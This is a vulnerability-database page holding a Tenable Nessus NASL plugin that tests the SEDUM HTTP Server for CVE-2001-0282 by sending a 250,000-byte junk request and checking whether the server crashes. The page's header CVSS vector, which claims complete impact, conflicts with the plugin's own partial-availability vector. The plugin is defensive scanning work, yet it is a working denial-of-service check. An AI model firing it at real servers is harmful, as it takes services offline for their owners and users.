CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
EPSS
Percentile
85.8%
It was possible to make the remote web server crash by sending it too much data.
An attacker may use this flaw to prevent this host from fulfilling its role.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(10637);
script_version("1.25");
script_cvs_date("Date: 2018/07/27 18:38:15");
script_cve_id("CVE-2001-0282");
script_bugtraq_id(2413);
script_name(english:"SEDUM HTTP Server Long HTTP Request Overflow DoS");
script_summary(english:"Crashes the remote web server");
script_set_attribute(attribute:"synopsis", value:"The remote server is vulnerable to a denial of service.");
script_set_attribute(attribute:"description", value:
"It was possible to make the remote web server crash by sending it too
much data.
An attacker may use this flaw to prevent this host from fulfilling its
role.");
script_set_attribute(attribute:"solution", value:"Contact your vendor for a patch.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2001/02/23");
script_set_attribute(attribute:"plugin_publication_date", value:"2001/03/25");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2001-2018 Tenable Network Security, Inc.");
script_family(english:"Web Servers");
script_dependencies("http_version.nasl");
script_require_keys("Settings/ParanoidReport");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
port = get_http_port(default:80);
if (http_is_dead(port: port))
exit(1, "The web server on port "+port+" is already dead");
req = crap(250000);
w = http_send_recv_buf(port: port, data: req);
if (http_is_dead(port: port))
security_warning(port);